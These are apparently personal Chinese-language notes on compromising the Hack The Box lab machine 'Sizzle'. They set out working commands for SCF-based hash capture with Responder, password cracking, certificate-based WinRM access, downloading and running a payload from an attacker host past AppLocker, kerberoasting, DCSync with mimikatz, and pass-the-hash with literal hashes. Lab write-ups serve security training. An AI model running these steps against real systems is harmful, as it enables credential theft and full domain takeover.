hack the box -- sizzle 渗透过程总结，之前对涉及到域内证书啥的还不怎么了解

 把之前的笔记搬运过来

---

 

1 开了443,用smbclient建立空连接查看共享

smbclient -N -L \\\\1.1.1.1

Department Shares

Operations share

CertEnroll

这三个share是域证书服务的默认共享

 

2 将共享挂载到本地

mount -t cifs -o rw,username=guest,password= '//10.10.10.103/Department Shares' /mnt

cd /mnt

 

3 查看共享目录中的可写目录

#!/bin/bash

list=$(find /mnt -type d)

for d in $list

do

   touch $d/x 2>/dev/null

   if [$?-eq0]

   then

       echo $d " is writable"

   fi

done

 

4 在可写目录放scf文件获取hash,开启responder监听

[Shell]

Command=2

IconFile=\\10.10.14.3\share\pwn.ico

[Taskbar]

Command=ToggleDesktop

 

cp pwn.scf /mnt/Users/Public

cp pwn.scf /mnt/ZZ_ARCHIVE

Responder -I tun0

 

5 破解hash,获得密码a

john hash -w=/path/to/rockyou.txt

 

6 开了5985,使用脚本尝试使用PSRemoting

https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb

失败,发现服务器使用证书认证

 

7 创建证书

发现前面的密码可以登陆443端口的ad cs /certsrv

创建过程中两次指定一致的pass phrase

创建证书签名请求csr

openssl genrsa -des3 -out amanda.key 2048 # create private key

openssl req -new -key amanda.key -out amanda.csr # create csr

 

8 修改winrm_shell.rb脚本

conn = WinRM::Connection.new(

   endpoint: 'https://10.10.10.103:5986/wsman',

   transport: :ssl,

   :client_cert => 'certnew.cer', # from the server

   :client_key => 'amanda.key', # private key

   :no_ssl_peer_verification => true

)

 

rlwrap ruby winrm_shell.rb

 

9 使用covenant做cc

 

10 下载并利用color绕过applocker执行launcher

wget http://10.10.16.3/pwn.exe -O pwn.exe

cp pwn.exe C:\Windows\System32\spool\drivers\color

C:\Windows\System32\spool\drivers\color\pwn.exe

 

11 获取SPN

shell setspn.exe -t htb -q */*

 

12 kerberoast

先用前面的密码生成token

MakeToken user domian pass

kerberoast spn_user

hashcat 破解

hashcat -m 13100 -a 0 spn_user rockyou.txt

 

13 用同样的方式弹一个新用户的shell回来

 

14 使用powerview探测acl的错误配置

1 wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

2 PowerShellImport PowerView.ps1

 

 

powershell Get-ObjectACL "DC=htb,DC=local" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') }

 

发现这个对象有这个权限DS-Replication-Get-Changes-All privilege

属于新获得的那个用户

 

15 有DS-Replication-Get-Changes-All privilege这个权限的用户可以直接dcsync

DCSync administrator htb.local sizzle

或者用mimikatz

mimikatz lsadump::dcsync /user:administrator /domain:htb.local /dc:sizzle

 

16 用psexec或者wmiexec pth

wmiexec.py administrator@10.10.10.103 -hashes

336d863559a3f7e69371a85ad959a675:f6b7160bfc91823792e0ac3a162c9267